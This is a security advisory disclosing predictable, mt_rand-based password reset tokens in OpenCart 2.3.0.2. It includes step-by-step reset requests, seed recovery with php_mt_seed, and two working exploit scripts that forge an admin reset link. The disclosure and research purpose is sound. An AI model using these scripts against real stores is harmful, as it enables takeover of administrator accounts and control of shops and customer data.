SSD Advisory – OpenCart Account Takeover

Vulnerability Summary
The following advisory describes a account takeover vulnerability found in OpenCart (version 2.3.0.2). OpenCart is a opensource e-commerce platform written in PHP.
“Opencart is an easy to-use, powerful, Open Source online store management program that can manage multiple online stores from a single back-end.”
Credit
An independent security researcher “Ayrx” has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Responses
The vendor had this response to our report:
“… another clown acting like james bond with a nonsense Vulnerability”
“james already told me it was bullshit so go ahead!”

Vulnerability Details
OpenCart versions 2.1.0.0 up till the latest release of 2.3.0.2 contains a token() function that generates tokens using PHP’s mt_rand function:

function token($length = 32) {
	// Create random token
	$string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
	$max = strlen($string) - 1;
	$token = '';
	for ($i = 0; $i < $length; $i++) {
		$token .= $string[mt_rand(0, $max)];
	}
	return $token;
}

PHP’s mt_rand function is based on the Mersenne Twister PRNG which is not cryptographically strong and easily exploitable.
In particular, the token() function is used in generating password reset tokens, which leads to an account takeover vulnerability.
Proof of Concept
The described proof of concept requires OpenCart running on a fresh PHP process. This is because PHP’s mt_rand is seeded once on process start.
The scripts used are in the Exploit Scripts section of the report.
Initial setup:

  1. Download OpenCart v2.3.0.2 from here
  2. Extract the files and rename config-dist.php and admin/config-dist.php to config.php and admin/config.php
  3. Run the following command “php -S 0.0.0.0:8000” from upload/ folder
  4. Continue the installation through the web interface (‘127.0.0.1:8000’ for example) – Follow the installation guide
  5. Register an account that belongs to the “attacker” – In this Proof of Concept we will use the email ‘foo@abc.com‘, and admin@abc.com belongs to the account you want to takeover

Attack:

  1. Download and compile php_mt_seed v3.2.
  2. Send a password reset request for the attacker controlled email account
  3. curl -X POST -F "email=foo@abc.com" localhost:8000/index.php?route=account/forgotten
  4. Send a password reset request for the account you want to takeover
  5. curl -X POST -F "email=admin@abc.com" localhost:8000/admin/index.php?route=common/forgotten
  6. Find password reset token sent to foo@abc.com
  7. Run python Convert_token.py TOKEN.
  8. Run ./php_mt_seed with output of convert_token.py
  9. Edit the $seed variable in Generate.php with the seed discovered by php_mt_seed
  10. Run the following command “php Generate.php” to discover the password reset token of admin@abc.com
  11. Go to “localhost:8000/admin/index.php?route=common/reset&code=CODE” with CODE replaced by the output of Generate.php
  12. We have now taken over the admin account by resetting the password!

Once again, this Proof of Concept requires the password reset requests be processed by a fresh PHP process (or a PHP process that has not called mt_rand before)

Exploit Scripts
Convert_token.py

import sys
CHAR = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
def find_char(char):
    for pos, val in enumerate(CHAR):
        if val == char:
            return pos
def main():
    token = sys.argv[1]
    out = ""
    for i in token:
        leak = str(find_char(i))
        out += leak
        out += " "
        out += leak
        out += " "
        out += "0"
        out += " "
        out += "61"
        out += " "
    print(out)
if __name__ == "__main__":
    main()

Generate.php

<?php
$seed = 2934787735;
mt_srand($seed);
$string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$max = strlen($string) - 1;
for ($i = 0; $i < 40; $i++) {
	$string[mt_rand(0, $max)];
}
$token = '';
for ($i = 0; $i < 40; $i++) {
	$token .= $string[mt_rand(0, $max)];
}
echo $token;
?>

Untwister
When OpenCart has been running for some time, the token generated by it would need more than just one token to be deduced (allowing you to know the next token that is generated). To make life easier a tool called Untwister has been built. Using the Untwister an attacker can use multiple tokens he has recovered to predict the next tokens that will be generated by OpenCart.
More details on Untwister can be found here: https://www.bishopfox.com/blog/2014/08/untwisting-mersenne-twister-killed-prng/.

Comments
Comments are closed.